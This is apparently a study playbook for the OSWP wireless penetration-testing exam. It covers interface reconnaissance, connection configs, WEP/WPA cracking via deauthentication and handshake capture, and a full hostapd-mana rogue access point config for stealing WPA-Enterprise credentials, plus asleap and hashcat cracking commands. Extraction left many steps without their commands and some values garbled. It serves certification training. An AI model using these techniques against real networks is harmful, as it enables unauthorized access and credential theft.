Oswpplaybook
Oswpplaybook
Oswpplaybook
1. Reconnaissance................................................................... 2
1.1 Setup Interfaces ................................................................... 2
1.2 Monitor Networks ...................................................................2
1.3 Discover Hidden Networks ...................................................................3
1.4 Change Channel ...................................................................3
1.5 Change MAC Address ...................................................................3
2. Connecting to Networks ................................................................... 3
2.1 Open Networks ................................................................... 3-4
2.3 WPA Networks ................................................................... 4
2.5 WPA-Enterprise Network ................................................................... 4-5
2.6 WEP Network ................................................................... 5
3. Attacking Networks...................................................................5
3.1 Cracking WEP Networks...................................................................5-7
3.2 Cracking WPA-PSK Networks...................................................................7-10
3.3 Cracking WPA-Enterprise...................................................................10-20
https://github.com/abdoibrahim1337/OSWP-PlayBook
https://zeyadazima.com/notes/oswplaybook/
1. Reconnaissance
Monitor Networks
sudo airodump-ng --band abg --manufacturer <interface_in_mointor_mode>
2. Stop Interface
ip link set wlan0 down
4. Start Interface
ip link set wlan0 up
Tips
open.conf
network={
ssid="Open_Network_Name"
key_mgmt=NONE
}
Set ssid to the network name you want to connect to. Then, Save it to open.conf and connect
using the following command:
Then open another terminal and request ip from the DHCP server:
WPA
network={
ssid="SSID"
psk="password"
scan_ssid=1
key_mgmt=WPA-PSK
proto=WPA2
}
WPA
WPA2
WPA3
Set ssid to the network name you want to connect to. Then, Save it to wpa.conf and connect using
the following command:
Then open another terminal and request ip from the DHCP server:
network={
ssid="SSID"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
identity="identity\user"
password="password"
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
Then open another terminal and request ip from the DHCP server:
network={
ssid="SSID"
key_mgmt=NONE
wep_key0=""
wep_tx_keyidx=0
}
Set ssid to the network name you want to connect to. Then, Save it to wep.conf and connect using
the following command:
Then open another terminal and request ip from the DHCP server:
3. Attacking Networks
3.1 Cracking WEP Networks
Note: The interface mac address you can use anything also you if you would like to spoof one
3. ARPreplay Attack
2. Capture Handshake
3. Perform De-authentication attack (kick a spasific client from the network to get the handshake)
5. After getting EAPOL ( Handshake), We will crack the password using aircrack-ng
1. First, We gather information about the network like BSSID , channel to filter the networks using:
3. After that we look at clients of the network and try to De-authenticate a client to get PMKID for the
network:
Then we wait till we get handshake, In some cases we can wait client to connect.
4. After we get it we go through cap file and extract the IDENTITY USER
nano ca.cnf
nano server.cnf
9. After that we do the following commands under /etc/freeradius/3.0/certs to generate
Diffie Hellman key for hostapd-mana
rm dh
make
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2
"pass" [2]
11. After that we create a fake access point by creating a file called network.conf under any other
directory
12. We paste the following configurations in the file and modify it to our needs:
ssid=<ESSID>
interface=<managed_mode_interface>
driver=nl80211
channel=<channel>
hw_mode=a
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
auth_algs=1
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/tmp/hostapd.credoutfile
mana_eapsuccess=1
mana_eaptls=1
13. Turn the interface to managed mode again
14. Then use the following command to create fake AP
16. then once you get handshake you will copy and paste command of asleep and adding -W
/path/to/wordlist
asleap -C do:3b:8d:7b:22:00:0:91 -R
68:09:13:ac:e8:df:36:5f:42:94:fb:97:91:05:2:21:72:ff:b3:ce:c0:ca:26:f7 -W
/usr/share/john/password.lst
Note: if it doesn't work with you can get the hash of the Hashcat tool and put it in file called
hashfile and use this command to crack it
hashcat -a 0 -m 5500 hashfile rockyou.txt --force
17. After getting username and password here you go for connecting to the network section.
4.1 FreeRADIUS
4.2 Hostapd-Mana
4.3 Aircrack-ng
4.4 Asleap
5.1 Resources
https://github.com/dh0ck/Wi-Fi-Pentesting-Cheatsheet
https://github.com/drewlong/oswp_notes
https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/
Labs 5.2.1
https://wifichallengelab.com
https://github.com/r4ulcl/WiFiChallengeLab-docker
Note: For this lab you won't need any physical cards or anything all performed through, The
labs virtual machine include everything, shoutout for r4ulcl for this amazing lab.
Website Zeyad